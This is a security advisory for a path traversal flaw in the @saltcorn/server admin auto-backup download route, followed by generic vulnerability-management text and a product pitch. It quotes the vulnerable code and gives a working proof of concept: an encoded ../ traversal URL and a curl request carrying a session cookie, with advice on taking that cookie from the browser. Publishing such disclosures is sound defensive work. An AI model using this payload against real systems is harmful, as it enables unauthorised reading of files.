A user with admin permission can read and download arbitrary zip files when downloading auto backups. The file name used to identify the zip file is not properly sanitized when passed to res.download API.
router.get(
"/auto-backup-download/:filename",
isAdmin,
error_catcher(async (req, res) => {
const { filename } = req.params; // [1] source
[...]
if (
!isRoot ||
!(filename.startsWith(backup_file_prefix) && filename.endsWith(".zip")) // [2]
) {
res.redirect("/admin/backup");
return;
}
const auto_backup_directory = getState().getConfig("auto_backup_directory");
res.download(path.join(auto_backup_directory, filename), filename); // [3] sink
})
);
.zip extension under /tmp folder:echo "secret12345" > /tmp/secret.zip
http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zipcat secret.zip
secret12345
curl -i -X $'GET' \
-H $'Host: localhost:3000' \
-H $'Connection: close' \
-b $'connect.sid=VALID_CONNECT_SID_COOKIE' \
$'http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip'
NOTE:
To obtain a valid connect.sid cookie, just open the developer console while logged and retrieve the cookie value.
Arbitrary zip files download (information disclosure).
Resolve the filename parameter before checking if it starts with backup_file_prefix .
| Software | From | Fixed in |
|---|---|---|
@saltcorn / server
|
- | 1.0.0-beta.14 |
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.